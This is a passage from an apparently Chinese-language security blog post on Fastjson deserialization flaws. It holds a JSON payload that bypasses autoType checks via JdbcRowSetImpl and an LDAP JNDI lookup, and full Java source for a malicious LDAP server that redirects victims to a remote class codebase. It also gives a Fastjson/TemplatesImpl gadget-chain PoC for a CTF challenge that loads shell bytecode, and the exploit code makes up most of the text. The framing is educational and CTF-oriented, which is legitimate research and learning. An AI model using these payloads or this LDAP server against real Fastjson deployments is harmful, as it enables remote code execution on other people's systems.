                "\"@type\":\"java.lang.Class\"," +
                "\"val\":\"com.sun.rowset.JdbcRowSetImpl\"" +
                "}," +
                "\"2\":{" +
                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\"," +
                "\"autoCommit\":true" +
                "}" +
                "}";
        JSON.parse(payload);
    }
}

可以看见该Payload是完全绕过checkAutoType()的各种检测,包括AutoTypeSupport等在内的属性值。

LDAP_Server.java

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAP_Server {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8888/#EXP"};
        int port = 9999;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

成功执行

1.2.48版本修复

该版本修复了cache值默认为true的问题,直接将cache的值改为了false。

并且对TypeUtils#loadClass中第三处较为宽松的mapping.put做了限制

并将java.lang.Class类放入了黑名单,这样彻底封死了从mapping中加载恶意类。

1.2.48后续版本

1.2.48后续版本存在一些拒绝服务漏洞和一些第三方组件RCE,这里我们暂不做分析。

小Trick

当存在反序列化漏洞并以toString为入口时,通过Fastjson的com.alibaba.fastjson.JSONObject.toString方法可以调用任意类的getter方法,因此可以配合TemplatesImpl进行RCE。具体Gadget如下

...能够调用任意类的toString()方法
* com.alibaba.fastjson.JSONObject.toString()
* com.alibaba.fastjson.JSON.toString()
* com.alibaba.fastjson.JSON.toJSONString()
* com.alibaba.fastjson.serializer.MapSerializer.write()
* TemplatesImpl.getOutputProperties()
...TemplatesImpl的调用过程

比如 [西湖论剑2022] easy_api,poc如下

import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class fj_gadget {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();

        byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\CTF\\Security_Learning\\ROME\\target\\classes\\shell.class"));

        setValue(templatesimpl,"_name","aaa");
        setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

        JSONObject jo = new JSONObject();
        jo.put("1",templatesimpl);

        HotSwappableTargetSource h1 = new HotSwappableTargetSource(jo);
//        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new Object());

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(h1,h1);
        hashMap.put(h2,h2);

        Class clazz=h2.getClass();
        Field transformerdeclaredField = clazz.getDeclaredField("target");
        transformerdeclaredField.setAccessible(true);
        transformerdeclaredField.set(h2,new XString("xxx"));

        System.out.println(serial(hashMap));
        String payload = "...";
        //        deserial(payload);

    }

    public static String serial(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        CustomObjectInputStream ois = new CustomObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇